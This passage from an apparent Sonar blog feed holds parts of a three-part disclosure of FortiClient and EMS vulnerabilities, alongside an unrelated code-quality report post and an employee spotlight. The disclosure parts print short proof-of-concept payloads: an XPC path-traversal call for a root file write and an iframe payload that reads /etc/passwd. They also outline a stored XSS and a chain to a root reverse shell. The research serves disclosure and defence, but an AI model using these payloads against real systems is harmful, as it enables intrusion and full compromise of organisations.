However, there's a small hurdle: legitimate quarantined files are stored within a folder that requires elevated permissions to access. We noticed that when sending a file name in the XPC message, attackers can traverse back and point to any file on the system.

int arg1 = 11;
NSDictionary *arg2 = @{
@"FileName":@"../../../../../../../../../../Users/user/Desktop/fake_quarantined.txt",
@"sandbox":@0,
@“DestDir”:@"/"
};
[xpcConnection.remoteObjectProxy runTool:arg1 arguments:arg2 withReply:^(int arg3){}];

From this root-level arbitrary file write, there are numerous options to achieve code execution. But first, we have to reverse engineer the quarantine file format:

0xc0 (192) bytes, which consists of:
- HEADER_BYTES: 0x3209
- 40 bytes PADDING1
- FILENAME length (max 0x400)
- UNKNOWN length (max 0x80, we are not sure what this is used for)
- OWNER (8 bytes, used for chown)
- PERMISSION (8 bytes, used for chmod)
- PADDING2 (to fit the 0xc0 size)
FILENAME
UNKNOWN
0xab XOR-ed file content

Using this, attackers can create a simple script that generates a fake quarantined file. Then, one of the simplest methods an attacker could use is to overwrite a daily periodic script, located at /private/etc/periodic/daily/999.local, which is executed daily as root. In the following screenshot, we can see how the file has been changed

On a different terminal, attackers will set up a reverse shell listener and will wait for the daily script to run. After its execution, they will be granted root privileges:

Patch

The vulnerabilities we discovered are fixed in the following versions:

CVE-2025-25251: fixed in FortiClientMac 7.4.3 and 7.2.9. Fix is also being backported to 7.0.
CVE-2025-31365: fixed in FortiClientMac 7.4.4 and 7.2.9
CVE-2025-22855: fixed in FortiClient EMS 7.4.3
CVE-2025-22859: fixed in FortiClient EMS 7.4.3; only EMS 7.4 (Linux-based) is affected by this issue.
CVE-2025-31366: fixed in FortiOS and FortiProxy versions 7.6.3 and 7.4.8

We urge customers to update their affected Fortinet products to the fixed versions.

Timeline

Date	Action
2024-11-20	We report all issues to Fortinet
2024-11-29	Fortinet acknowledges the receipt of the report
2024-12-18	Fortinet confirms the issues are being worked on
2025-01-28	CVE-2025-22855 and CVE-2025-22859 are assigned
2025-03-05	CVE-2025-25251 is assigned
2025-03-28	CVE-2025-31366 and CVE-2025-31365 are assigned
2025-04-08	CVE-2025-22855 is published
2025-04-08	Fortinet shares the CVSS scoring with us
2025-04-08	We request further clarification about the scoring
2025-04-10	Fortinet shares further CVSS details with us
2025-04-11	We provide our feedback regarding the CVSS scoring
2025-05-13	CVE-2025-22859 and CVE-2025-25251 are published

Summary

This concludes our 3-part blog series covering a chain of vulnerabilities in FortiClient and Endpoint Management System (EMS) that could compromise an entire organization. Following discussions on initial access and lateral movement, this post details a local privilege escalation affecting macOS machines.

This research highlights the inherent "double-edged sword" nature of endpoint protection software. While designed as a primary defense against cyber threats, these powerful tools themselves can harbor vulnerabilities. When the very software intended to secure an organization becomes a gateway for attackers, it exposes a critical attack surface. Our findings demonstrate how adversaries could leverage flaws within Fortinet's product to bypass security mechanisms, escalate privileges, and ultimately gain control over an entire organization, underscoring the vital need for continuous security scrutiny of even trusted security solutions.

Finally, we would like to thank Fortinet PSIRT again for their collaboration and responsiveness in addressing these findings.

The State of Code: Introducing Sonar’s new code quality report series

Anirban Chatterjee — Sun, 06 Jul 2025 22:00:00 GMT

TL;DR overview

Sonar’s State of Code: Reliability report found roughly 2,100 reliability issues (bugs) per million lines of code, highlighting the scale of everyday defects in modern codebases.
Common issues include dead code and null pointer dereferences, which can lead to unexpected behavior, crashes, and reduced maintainability if left unaddressed.
These types of bugs are often difficult to detect through testing alone, as their root causes may be hidden or only surface under specific runtime conditions.
Automated code review and static analysis help detect reliability issues early, enabling teams to enforce quality standards and reduce the risk of defects reaching production.

The annual cost of poor software quality in the U.S. has climbed to over $2.41 trillion. It’s a staggering figure that highlights a crucial reality: the health of our code directly impacts business success, customer satisfaction, and competitive standing. But what does "poor software quality" actually look like in the wild? What are the most common issues lurking in the code being written today?

To answer these questions, we went directly to the source.

Today, we’re launching The State of Code, a new multi-part report series that provides a unique window into the real-world state of software development. We analyzed Sonar’s massive dataset from the last six months of 2024, encompassing:

More than 7.9 billion lines of code
Code from over 970,000 developers across 40,000+ organizations
Analysis of Java, JavaScript, TypeScript, Python, C#, C++, and PHP

Unlike survey-based reports, Sonar’s findings are drawn from hard data, highlighting the actual issues developers using SonarQube encounter in their daily work. This series of reports released throughout the summer will explore the three critical issues in your codebase: reliability, security, and maintainability, across the seven most common languages software developers use.

Volume 1: Reliability

The first in the series, our The State of Code: Reliability report dives into the most common and fixable code reliability issues. Our analysis found about 2,100 reliability issues (bugs) for every million lines of code. These are the bugs that can degrade performance, cause unpredictable crashes, and ultimately erode user trust. For developers, they represent frustrating debugging sessions and late-night fixes. For leaders, they mean costly delays, project risks, and a struggle to maintain consistent quality across teams.

The usual suspects: Today’s most common bugs

When we explored the 16 million reliability issues flagged by Sonar, a few clear patterns emerged. The most frequently found issues were dead code and illegal memory access.

1. Dead code: More than just wasted space

The most common reliability issue we found involves statements that have no side effects and don't change the control flow of a program. Often called "dead code," these are lines that accomplish nothing.

While "dead code" bugs are incredibly common, their real-world impact is often more subtle than a single catastrophic outage. A related real-world example is Apple's "goto fail" security bug from 2014, when a single duplicated line of code (goto fail;) infamously made the essential function that verifies a secure connection's authenticity completely unreachable. The result was a critical security flaw that left millions of users vulnerable to man-in-the-middle attacks.

Like the Apple bug, the dead code found in our analysis often represents programming errors or incomplete refactoring.

Why it's a problem: At best, dead code adds performance overhead and makes maintenance harder. At worst, it can mask serious bugs. These statements often result from incomplete refactoring or logical mistakes, creating the illusion that the code works as intended when critical operations are actually missing or incorrect. For managers, this means teams can waste time investigating code that has no function, and for developers, it’s a source of confusion and technical debt.
How to fix it: SonarQube's automated code review capabilities detect dead code during development through real-time analysis. The platform provides clear remediation guidance to help understand why there's an issue and how to fix it. Quality gates can prevent code containing dead code issues from reaching production, ensuring teams maintain high standards early in the development process.

2. Null pointer dereferencing: The ghost in the machine

A close second is the infamous null pointer dereference. This occurs when the code tries to access or use a variable that is null, leading to an error or crash that could be catastrophic to critical applications. You don't have to look far for a real-world example. A Google Cloud outage in June 2025 caused widespread 503 errors for users of many Google Cloud services globally. The root cause was a code change that lacked proper error handling when it encountered an unexpected blank value in a new policy. This single oversight caused critical services to enter a crash loop, demonstrating how a mishandled null value can bring down even the most robust systems.

Why it's a problem: These bugs are notoriously difficult to diagnose. A null value might originate in one part of an application but only cause a crash much later in the execution flow when another component tries to use it. These failures often surface unexpectedly in production environments, causing unpredictable application crashes and potentially exposing sensitive data through stack traces. For developers, this means chasing bugs far from their root cause, while leaders are left dealing with unreliable software and potential security risks.
How to fix it: Developers can leverage SonarQube's analysis to detect these issues early in the development cycle. The platform provides actionable guidance through detailed issue descriptions and contextual help for fixing null pointer issues. AI CodeFix offers suggested fixes for detected issues directly in the IDE. Quality gates serve as an additional safeguard, preventing code with null pointer vulnerabilities from being merged or deployed to production environments.

Building more reliable code

As AI coding assistants generate more and more code, the quality of our existing applications becomes paramount, as this code is the primary data used to train these tools. Understanding and addressing these common reliability pitfalls is no longer just about fixing bugs—it's about building a stable foundation for the future of software development.

These findings are just the beginning. Download The State of Code: Reliability report to see:

A closer look at the most commonly found blocker bug
The top five reliability issues we found in nearly 8 billion lines of code
Actionable solutions to help you eliminate these issues

There's more to discover! Volume 2 in Sonar's four-part report series, The State of Code: Security report, is now generally available.

Day in the Life: What Being a Sonar Support Engineer Looks Like

Joe Tingsanchali — Thu, 03 Jul 2025 17:00:00 GMT

TL;DR overview

This is an employee spotlight post featuring Joe Ting, a Support Engineer at SonarSource, highlighting his role in helping customers with SonarQube deployment, configuration, and analysis troubleshooting.
The post covers Joe's background, his day-to-day responsibilities in the support engineering function, and his experience working at Sonar.
Support engineers at Sonar help customers resolve technical issues related to SonarQube Server, SonarQube Cloud, and SonarQube for IDE integrations across complex enterprise environments.
Sonar regularly publishes employee spotlights to share team culture and attract candidates interested in technical support and developer tooling roles.

What does a Support Engineer do and how could it ever be interesting? If you’re curious about the life of a Support Engineer, whether you have read the job description or not, then join me as I share my unique and rewarding journey in this role at Sonar that will help you understand more about the job and my transition into a one-of-a-kind, nonpareil opportunity in my life (my opinion, of course).

I’m a former dev bootcamp graduate of MakerSquare back in 2014, then I worked at a fintech company and immediately thereafter as a software developer. I enjoyed the development process: given some requirements, go build this thing, test it, then release it *wipes hands*. However, after some time, the routine of creating yet another API plumbing job didn’t satisfy my desire to learn.

This Is Not Your Typical Support Engineer Role

Let’s be honest, the role of “Support Engineer” can be a tough sell.

“So what? It’s just some support desk job. You answer some tickets, you tell the devs to go fix bugs, you tell the product managers to add a feature, and meet the SLA… YAWN”

For many, the word “support” evokes images of call-centers, quotas, ever-tightening SLAs and evening/weekend shifts. It’s seen as entry-level work--a gateway to other, more dignified roles. It’s a stigma that is all too easy to internalize.

As a former software developer implementing features and architecting microservices and cloud deployments, I had those same thoughts when I first heard about the Sonar Support Engineer role.

“Support” You mean like... not be at the front lines of development and just help customers? How is that exciting? How do I grow from creating and building things to just being an abutment to the company?”

Sure, those are acceptable reactions to some support desk jobs. There’s a certain routine and rigamarole that these jobs have, but there’s always a reason people like these jobs: using software you like, the chance to help people, working with people who have similar interests and intentions as you do, freedom to learn what you want, etc. Support jobs are fun for these reasons, but their drawbacks also make people shy away from them. At Sonar, we keep the interesting parts of support AND we do it differently.

Being several years into my journey at Sonar as a support engineer, I want to tell you the role has been worth it and why I gave up my developer lifestyle for a support role.

What does Support at Sonar look like?

We are not merely a human face to documentation. We provide education of the platform as well as expertise.
We are fair to customers and we are the customer’s advocate when discussing feature changes and product evolution with a transparent and honest voice.
We aim to nurture a long-term relationship that allows customers to be self-driven experts of their own platform.
We assign tickets to ourselves -- either because we are interested in the topic, are an expert, or want to learn more by doing.
Our goal is to get all customers an initial answer to their questions within 1 business day.
The vast majority of our interactions with customers take place using ServiceDesk, rather than jumping into troubleshooting calls.

All of this and more can be referenced by our Sonar support philosophy.

We Answer All Sorts of Questions

As a Support Engineer at Sonar, a significant part of my day revolves around helping users navigate the powerful capabilities of SonarQube, our core product for continuous code quality and security. It comes in a range of deployments: SonarQube Server for self-managed, on-premise solutions, SonarQube Cloud for a hassle-free, cloud-based experience, and SonarQube for IDE, which integrates directly into development environments for real-time feedback.

In a given day at Sonar, you might find yourself answering these questions:

SonarQube Server is unable to get in touch with Bitbucket Cloud for Pull Request Decoration
After upgrading, authentication via SAML is giving an error
SonarQube Cloud failed to parse my Ansible code
How do I exclude files from analysis?
I want to plan my upgrade to the latest version of SonarQube Server
How do I set up SonarQube Server to run over HTTPS?
What can I do to decrease the amount of time it takes to analyze my code?
A false-positive is being raised on my project. Why?
How do I make it easier for my developers to start using SonarQube?

Code Quality and DevOps Is Our Playground

At Sonar, a Support Engineer will learn about (and support customers on) the following topics:

Programming languages (Java, C#, Go, C or any of the 35 languages we support and soon more)
Security and static code analysis (control flow graph technology, taint analysis, etc.)
Any CI/CD tools (Jenkins, GitHub, GitLab, Azure DevOps, TeamCity, and on and on)
Delegated authentication methods like LDAP or SAML
DevOps Platforms (GitHub, GitLab, Azure DevOps, Bitbucket)
Cloud platforms (AWS, Azure DevOps, GCP)
Containerized applications (Docker, Kubernetes, Helm)
SCM internals (git, svn)
Databases (Oracle, PostgreSQL, SQL Server)
Software composition analysis (SCA)
Enterprise-level demands and requirements like compliance, certifications, and security

SonarQube integrates with all of this and more. That’s why I enjoy this job: I get to play with all these technologies while helping people solve their problems.

I Can Make an Impact on the Product and the Company

What makes working at Sonar really interesting, aside from a unique support model? Onboarding as a support engineer was a steady, progressive process lasting a few months or so, which gave me time to soak in the unique and global work culture.

At Sonar, we believe that anyone has the power to make a change within their team, workflow, or the company, and people are empowered to take action. I certainly appreciate working at a company that supports empowerment to make change happen all the while allowing the “right to fail”. There is no hard-pressed goal to always make change, but achieving delivery of your intent is what is more valued. Challenging status-quo when sensible and always making an effort to collaborate to become “smarter together” are also important concepts I learned about Sonar work culture.

Sonar was founded in 2008 and we have now grown to over 700 employees, and so the flat organizational feel of a startup has now evolved into a team-based organization, where Support Engineers continue to instill and endure that same Sonar spirit.

Here’s what my day-to-day generally looks like, from morning to evening from the US side (in case you didn’t know, Sonar is based in Geneva, Switzerland!):

8:30 AM Prepare for standup (review current ticket statuses)
8:45 AM Global standup (review any important tickets with the team)
9-10 AM Attend important meetings with teammates on side projects, catch up on news on other projects, pair program on a ticket
10 AM-12 PM Respond to tickets, experiment new language features, explore new CI tool
12-1 PM Lunch
1-1:45 PM Continue responding to tickets, prepare for the afternoon standup with US Team
2-5 PM Respond to tickets, work with teammates on solving a ticket together, help/chat with community members or teammates using SonarQube for IDE/SonarQube Server/SonarQube Cloud

That’s basically it: aside from answering tickets, there’s a lot of freedom to explore new technologies, collaborate on projects to help improve the products or company workflow or work life in general, and help users in our open community forum use our products. Sonar provides SonarQube Community Build and SonarQube for IDE as open source software that is available for forking or studying, so contributing back to the community users is twice the benefit in using Sonar products.

In summary, you will enjoy Sonar and the Support Engineer job if you enjoy any of the following:

Learning ANY of the modern technologies of an adept software developer, devops engineer, or sysadmin
Working on projects that you choose via volunteering and affecting change that you see as important to the company
Helping people enjoy using Sonar products while getting maximum value from them

If you find yourself nodding your head, Sonar is a great fit for you. If you want to know more, just check out our careers page!

Caught in the FortiNet: How Attackers Can Exploit FortiClient to Compromise Organizations (2/3)

Yaniv Nizry — Mon, 30 Jun 2025 22:00:00 GMT

TL;DR overview

Part two of Sonar's FortiClient series deepens the technical analysis, demonstrating how the initial privilege escalation vulnerability can be chained with additional weaknesses to achieve persistent, stealthy compromise.
The research covers how attackers can use FortiClient's privileged context to execute payloads, modify system configurations, and establish persistence mechanisms that survive reboots.
The series highlights how endpoint security products—by virtue of their elevated privileges and trusted status—can inadvertently become a high-value attack vector when they contain exploitable vulnerabilities.
Security teams should regularly audit endpoint protection software for unpatched vulnerabilities and apply the principle of least privilege even to security agent processes.

Fortinet, a global leader in cybersecurity solutions, provides a wide array of products designed to safeguard organizations from increasingly sophisticated threats. However, the very nature of these critical security tools makes them prime targets for malicious actors. What happens when the tool designed to protect an organization becomes a vulnerability?

Continuing our exploration of the severe vulnerabilities we uncovered in Fortinet's FortiClient and EMS, we move beyond the initial compromise. In our previous post, we showed how an attacker gains an initial foothold by manipulating an endpoint victim to click on a link. Now, we follow the attacker's path, outlining the steps of lateral movement and an EMS vulnerability that can lead to full organizational compromise.

Impact

CVE-2025-25251: fixed in FortiClientMac 7.4.3 and 7.2.9. Fix is also being backported to 7.0.
CVE-2025-31365: fixed in FortiClientMac 7.4.4 and 7.2.9
CVE-2025-22855: fixed in FortiClient EMS 7.4.3
CVE-2025-22859: fixed in FortiClient EMS 7.4.3; only EMS 7.4 (Linux-based) is affected by this issue.
CVE-2025-31366: fixed in FortiOS and FortiProxy versions 7.6.3 and 7.4.8

In this part of the blog series, we will focus on CVE-2025-22859, which enables an authenticated attacker to upload a stored XSS payload to a Linux-based EMS server. Exploiting this vulnerability, an attacker can manipulate an EMS user into clicking a malicious link, forcing all registered endpoints to switch connection to a malicious EMS server without any interaction from the clients. This makes them susceptible to arbitrary code execution, as showcased in the previous blog.

Watch the video

Technical Details

In the previous blog, we showcased how an attacker can execute arbitrary code on a machine running FortiClient by manipulating a victim to click on a link. When doing so, FortiClient connects to a malicious EMS server, which then sends a malicious HTML message that is rendered in an outdated isolated Electron window.

As mentioned in the previous blog, in addition to the outdated Chromium, the attacker’s controlled content window is rendered under the file:// protocol. Since the main Electron window of FortiClient also uses this scheme, certain things are shared. We noticed that in the localStorage, FortiClient saves information regarding the last connected EMS (invitation code for Fortinet Cloud or an IP/domain of an on-premise EMS). Considering a scenario where an attacker compromises an endpoint within an organization, the “previous EMS” will most likely point to the organization's legitimate EMS. Using this information, the attacker can now reconnect to the legitimate organizational EMS, becoming a malicious authenticated client.

As an attacker advances, new attack surfaces are unveiled. To understand the potential risk of a malicious client to an EMS, we first need to understand the basics of how FortiClient and EMS are communicating:

Communication

FortiClient and the EMS communicate using a custom, line-based protocol. The client's request consists of key-value headers separated by the equal character (=). A body starts with the request type, followed by key-value pair data separated by the pipe ("|") character. To finalize the request, the end type sequence is present.

MSG_HEADER: FCTUID=C511A8F3ACBE5FA4ADD13F12E77647F9
FCTVER=7.2.4.0850
PROTO_VER=1.0.0
KEY=VALUE
KEY2=VALUE2
...

X-FCCK-PROBE: PROBE_FEATURE_BITMAP|1|KEY|VALUE|KEY2|VALUE2|....
X-FCCK-PROBE-END\r\n

The response message consists only of the type and body data:

FCPROBERPLY: FGT|FCTEMS000000000:i-0fe6110e2e9410000|FEATURE_BITMAP|7|EMSVER|7004000|\r\n

The communication sequence, initially starts with a probe request, meant to verify that the server is an EMS and running a compatible version. Followed by the registration flow, which we covered in the previous blog.

Upon successful authentication, the connection is maintained via the client’s keep-alive messages every X seconds, which is defined by the server. These keep-alive messages are meant to ensure that the client is still connected to the EMS but also update information on the client, for example, if the IP is changed. The EMS utilizes the response message to perform actions from the client, such as showing a message window or requesting logs.

Lastly, FortiClient can upload data to the EMS using a data request (DATA_HEADER). This can be followed by an upload request from the EMS (such as diagnostic results), but can also be initiated purely by the client, for example, when the user updates their profile image.

The DATA message is built similarly to that of other client requests, but also consists of a TYPE header that is an enum referencing which kind of data is being sent.

We noticed that certain DATA uploads are saved into files under the /opt/forticlientems/data/fctuploads/ directory (Linux-based EMS) with the following format:

Type 1: UID_HOSTNAME_log.log
Type 2: UID_HOSTNAME_Diagnostic_Result.cab
Type 4: UID_HOSTNAME_log.gz
Type 5: UID_HOSTNAME_Diagnostic_Result.gz
Type 8: UID_HOSTNAME_log.zip
Type 10: ./snapshots/UID.json
Unknown type: UID.PROVIDED_TYPE.HASH.upload

Interestingly, the UID and HOSTNAME values are controlled by the client during the registration, and the HASH/PROVIDED_TYPE values are defined in the DATA upload request. This makes each parameter used to construct the filename attacker-controlled. When creating the file, the EMS doesn’t normalize the user input, allowing path traversal sequences and therefore leading to a limited arbitrary file write vulnerability. However, exploiting this primitive isn’t straightforward, specifically because an attacker cannot control the extensions or suffixes of the filename. Essentially, it blocks attackers from elevating this primitive to execute arbitrary code on the server. To further evaluate what impact this vulnerability can have, we tried to identify other ways an attacker could use it.

Looking at the EMS features, there was one that seemed very interesting for an attacker:

“Switch EMS” tells an endpoint to connect to a different EMS by IP. Meaning that if an attacker can leverage this limited file write to execute arbitrary JavaScript as an EMS administrator (XSS) then they can switch every endpoint in the organization to connect to a malicious EMS and subsequently exploit the vulnerability covered in the first blog post, which will potentially grant full code execution on every machine within the organization!

From Limited File Write to XSS (CVE-2025-22859)

The Linux version of EMS is running the web server using Apache httpd , which uses the mod_mime component to guess the content type of the file served by its extension and set the Content-Type header accordingly. We have already covered a cool technique in the past that enables XSS when an attacker cannot control the extension, by using only dots or nothing as a filename. This happened because in those cases, mod_mime doesn’t add a Content-Type header, making the browser sniff the type of the file according to the content, not the file extension.

However, this trick doesn’t work in the case of Fortinet EMS because the Apache httpd server is configured to serve the header “x-content-type-options: nosniff”, which tells the browser not to sniff the content type, and it will default to text/plain. But looking into the documentation of mod_mime, we stumble upon an interesting case:

A file can have multiple extensions, with a priority given to the last one. For example, these file extensions will correspond to the following content-types:

File Extension	mod_mime Content-Type
Filename.html	text/html
Filename.gif	image/gif
Filename.gif.html	text/html
Filename.unknown
Filename.unknown.html	text/html
Filename.html.unknown	text/html

Using this knowledge, an attacker can choose a file type to upload that has an unknown extension (.cab or .upload in our case), traverse the upload destination to the static folder of the website, and simply add .html to the file name. The file will then be served as text/html, resulting in stored XSS.

Second Stage Overview

After the first stage, shown last week, the attacker has compromised a FortiClient endpoint and connected back to the an organization's legitimate EMS. In the second part of the attack, a compromised client can upload a stored XSS payload to the EMS. When viewed by an administrator, arbitrary JavaScript is executed, forcing every FortiClient endpoint connected to this EMS to change the management server to an attacker-controlled one. From here, the attacker can exploit the vulnerability covered in the first part of the series again. This leads to the the worst case scenario of a fully compromised organization.

Patch

The vulnerabilities we discovered are fixed in the following versions:

CVE-2025-25251: fixed in FortiClientMac 7.4.3 and 7.2.9. Fix is also being backported to 7.0.
CVE-2025-31365: fixed in FortiClientMac 7.4.4 and 7.2.9
CVE-2025-22855: fixed in FortiClient EMS 7.4.3
CVE-2025-22859: fixed in FortiClient EMS 7.4.3; only EMS 7.4 (Linux-based) is affected by this issue.
CVE-2025-31366: fixed in FortiOS and FortiProxy versions 7.6.3 and 7.4.8

We urge customers to update their affected Fortinet products to the fixed versions.

Timeline

Date	Action
2024-11-20	We report all issues to Fortinet
2024-11-29	Fortinet acknowledges the receipt of the report
2024-12-18	Fortinet confirms the issues are being worked on
2025-01-28	CVE-2025-22855 and CVE-2025-22859 are assigned
2025-03-05	CVE-2025-25251 is assigned
2025-03-28	CVE-2025-31366 and CVE-2025-31365 are assigned
2025-04-08	CVE-2025-22855 is published
2025-04-08	Fortinet shares the CVSS scoring with us
2025-04-08	We request further clarification about the scoring
2025-04-10	Fortinet shares further CVSS details with us
2025-04-11	We provide our feedback regarding the CVSS scoring
2025-05-13	CVE-2025-22859 and CVE-2025-25251 are published

Summary

In this post, we have taken a deeper look into the inner workings of FortiClient and EMS, how they communicate, and what a malicious client could exploit. Using the vulnerability covered in this article, attackers who are authenticated to an EMS can traverse back the upload directory and create arbitrary files on the server with a limited name. We covered a technique attackers can use to overcome this limitation and achieve stored XSS in Apache httpd.

The impact of this vulnerability, when exploited, is the ability to force all the endpoints managed by the EMS to connect to a malicious EMS. This, combined with other vulnerabilities we uncovered, could potentially lead to remote code execution on every endpoint machine within an organization.

In the next blog post, we will go back to focusing on FortiClient and understand more details about its inner workings and what an attacker can exploit further.

We would like to thank the Fortinet PSIRT for their collaboration and responsiveness in addressing these findings.

Caught in the FortiNet: How Attackers Can Exploit FortiClient to Compromise Organizations (1/3)

Yaniv Nizry — Wed, 25 Jun 2025 22:00:00 GMT

TL;DR overview

Part one of Sonar's three-part series on FortiClient vulnerabilities examines how attackers can exploit weaknesses in FortiNet's endpoint security product to compromise enterprise systems.
The research reveals how improper privilege handling and insecure installation procedures in FortiClient create attack surfaces that can be exploited for privilege escalation on Windows endpoints.
These vulnerabilities are particularly dangerous because FortiClient runs with elevated privileges as an endpoint security agent—meaning its exploitation directly grants attackers administrative access.
Organizations relying on FortiClient should apply FortiNet's published patches, restrict local user permissions, and monitor for unusual process behavior from endpoint security agents.

Fortinet is one of the largest players in the cybersecurity industry, known for its extensive range of security solutions. Their portfolio includes firewalls, endpoint security, and intrusion detection systems, among others, designed to protect networks, applications, and data. These solutions are utilized across diverse sectors such as healthcare, finance, and government, helping organizations of various sizes defend against cyber threats.

To advance our understanding of cybersecurity threats and the security posture of leading software providers, we conducted in-depth research into the security of Fortinet's FortiClient and FortiClient Endpoint Management Server (EMS). This research resulted in the discovery of multiple security vulnerabilities within Fortinet's product suite. To share our findings with the community, we are publishing a 3-part blog series. This series will illustrate a realistic attack scenario targeting an organization utilizing Fortinet products, highlighting the potential impact of these vulnerabilities, particularly when chained together.

Key Information

Sonar's security researchers found severe vulnerabilities in Fortinet products that allow attackers to take over organizations with minimal user interaction.
The vulnerabilities affecting FortiClient, FortiClient Endpoint Management Server (EMS), FortiOS, and FortiProxy.
The vulnerabilities covered in this series have been fixed and are detailed in the Impact section.
According to Fortinet, they have not observed any exploitation of these vulnerabilities in the wild.
We believe the CVSS scores assigned by Fortinet do not fully reflect the potential severity of our findings, and we urge customers to treat these vulnerabilities with the highest priority and update to the fixed versions immediately.

Impact

CVE-2025-25251: fixed in FortiClientMac 7.4.3 and 7.2.9. Fix is also being backported to 7.0
CVE-2025-31365: fixed in FortiClientMac 7.4.4 and 7.2.9
CVE-2025-22855: fixed in FortiClient EMS 7.4.3
CVE-2025-22859: fixed in FortiClient EMS 7.4.3; only EMS 7.4 (Linux-based) is affected by this issue
CVE-2025-31366: fixed in FortiOS and FortiProxy versions 7.6.3 and 7.4.8

In this first part of our blog post series, we will focus solely on CVE-2025-22855, which allows an attacker to execute arbitrary code on a victim's machine running FortiClient when a user opens a malicious link.

Watch the video

Background

While Fortinet offers a wide variety of products, our research was focused on two specific ones:

FortiClient

Serves as an endpoint security solution that safeguards devices. It offers a multi-layered defense mechanism, including antivirus, vulnerability remediation, VPN, web filtering, and more.

FortiClient’s UI is built on the Electron framework, offering a cross-platform user interface. In this interface, users can perform various actions, such as connecting to a VPN and viewing scan results. While this architectural choice provides convenience and cross-platform compatibility, it also introduces potential vulnerabilities inherent to the framework and its underlying components, such as Chromium and Node.js.

FortiClient Endpoint Management Server (EMS)

EMS can be hosted either by Fortinet (FortiClient Cloud) or on-premise. This server is responsible for managing and securing FortiClient endpoints. It's where organizations’ administrators can perform actions such as changing endpoint configurations, viewing the states of the endpoints, and receiving an organizational overview via dashboards.

Organization diagram

EMS and FortiClient are designed for integrated deployment. Typically, organizations have a single EMS instance responsible for managing multiple endpoints:

For an attacker seeking to infiltrate an organization, targeting FortiClient endpoints offers several distinct advantages as a first point of entry. The greater number of FortiClient installations, one per endpoint, significantly expands the attack surface compared to one EMS. This further expands considering the variety in endpoint versions, OS, and potential patching inconsistency.

But most importantly, users often represent the weakest link in security. Since many attacks rely on some degree of user interaction, the abundance of users translates to a greater number of potential targets, increasing the attacker's chances of successfully establishing an initial foothold within the organization.

Technical Details

FortiClient and EMS communicate using a proprietary line-based protocol. We will discuss the details of the protocol in the next blog post, but for now, the crucial element to understand is the authentication process that occurs when a client connects to the EMS.

Authentication

There are 4 authentication methods an EMS can require: None, LDAP, Local, or SAML.

None, does not require any authentication, and continues with the connection immediately.
In both Local and LDAP flow, Forticlient will prompt the user with a basic login window as such:

This will authenticate the user with the provided credentials.

SAML, opens the browser and goes through the organization’s Identity Provider (IdP) authentication process. Upon successful authentication, the browser opens back FortiClient with an auth_token.

But how can a browser go back to the FortiClient application?

Electron’s application protocol handler

Electron offers developers a convenient way to register a protocol handler for specific URL schemes. This will tell the OS to redirect any URL with this scheme to the application. FortiClient registers the fabricagent:// scheme, meaning when a user clicks on such a link, FortiClient’s Electron app will automatically launch and process that URL. This can be considered as an entry point for attackers as it requires just a simple click from a user to initiate a specific logic within an application.

Forticlient’s new attack surface (CVE-2025-22855)

When researching the protocol handlers FortiClient offers, an interesting one caught our eye: the EMS invite link, which facilitates a convenient connection to a specified EMS through a simple link.

handlePossibleProtocolLauncherArgs(argv) {
   // ...
    if (arg.includes('fabricagent://ems?inviteCode')) { 
      this.handleEMSInviteCodeScheme(arg);
    } else if (arg.includes('fabricagent://vpn')) {
      this.handleVPNUriScheme(arg);
    } else if (arg.includes('fabricagent://ztna')) {
      this.handleZtnaAuthentication(arg);
    } else if (arg.includes('fabricagent://ems/onboarding')) {
      this.handleEMSOnboardingResponse(arg); 
    } else if (arg.includes('fabricagent://ems/msg')) {
      this.handleEMSOnewayMsgScheme(arg);
    } else {
      this.handleCreateMainWindow();
    }
  }

A significant security concern arose from the client's behavior: When a user clicks on an invite link, FortiClient will try to connect to the EMS defined in the link, without any limitation or further interaction from the user. Additionally, disregarding any existing EMS connection. Even if the current EMS enforces password-protected disconnection to prevent unauthorized removal (a security measure intended to protect the endpoint), FortiClient will still attempt to connect to the new EMS, essentially circumventing this safeguard.

While connecting to an EMS via a link offers user convenience, it also presents an opportunity for attackers to lure users into connecting to malicious servers, opening up a whole new attack surface.

But what can a malicious EMS do?

Malicious EMS

After a FortiClient connects to an EMS, the server gains access to various management capabilities, including log requests, certificate revocation, and more. While those intended capabilities could be attractive for attackers, they are limited. To execute arbitrary code and fully compromise the client machine, an attacker would need to exploit another vulnerability in the client.

Looking for weaknesses in the application, we were particularly interested in the "send message" feature. This feature allows admins to show custom messages to users.

A message can be either plaintext or in HTML format.

Upon receiving a message, FortiClient creates a separate window from the main Electron one using the following webPreferences:

webPreferences: {
  webviewTag: true,
  contextIsolation: true,
  nodeIntegration: false,
  preload: path.join(__dirname, '../../', 'src', 'main', 'message-window', 'preload.js'),
},

These settings, particularly contextIsolation and disabled nodeIntegration, are intended to enhance security by isolating the window's context. For plaintext messages, the content is directly injected as text using the textContent property, preventing any HTML rendering. However, HTML messages are saved locally, in the file:///tmp/fct_endpoint_message.html file, and rendered within a webview.

A webview is similar to an iframe but rendered using a different process, meaning that there are no handles to the main window, nor any exported objects from preload.js. Despite it being an isolated environment for the main window, Fortinet introduced some critical vulnerabilities by deviating from Electron's recommended security practices (covered by Sonar in rule S7076).

The file:// protocol scheme

Because the webview is being loaded under the file:// protocol scheme, and according to the Same-Origin Policy, the HTML page might be able to embed a different local file using the same scheme and read its content. Granting access to read and leak arbitrary files from the machine.

<iframe src="file:///etc/passwd" id="file"></iframe>
<svg onload="console.log(document.getElementById('file').contentWindow.document.body.innerText)"></svg>

In addition to the webview being loaded under the file:// protocol scheme, all other windows were using the same scheme.

This means that there might be shared data between those windows! We found out that a parameter pointing to the previous EMS is stored in the localStorage (a data storage per origin):

An attacker can use this later in the attack to connect back to the legitimate organization's EMS. Considering a scenario where the legitimate EMS is using SAML authentication and the victim is already logged in to the IdP on a normal day of work, the reconnection to the original EMS wouldn’t even require any additional interaction.

But beforehand, an attacker would need code execution on the victim machine. How can they do that?

Arbitrary code execution due to outdated Electron

More critically than using the file:// scheme, FortiClient was built using an outdated Electron version. By running navigator.userAgent in the dev tools console (FortiClient version 7.2.4.0850 on macOS), we noticed that the Electron version used was 11.1.1 and Chromium 87.0.4280.88. Which is before Electron had process sandboxing by default, and is susceptible to many known vulnerabilities, such as CVE-2021-21224. While we developed a PoC for this specific version on macOS, FortiClient on other operating systems used other, but still outdated Electron builds (such as Chromium version 120.0.6099.56 on Linux FortiClient 7.4.0.1636).

Adapting CVE-2021-21224

From here to execute code, an attacker would need to adapt an n-day vulnerability to the specific operating system and Chrome version. This was not straightforward as the original proof-of-concept (PoC) exploit we used as a reference was written for Linux, but our target was running on macOS. Since macOS employs additional mitigations, an attacker has to get around them as well.

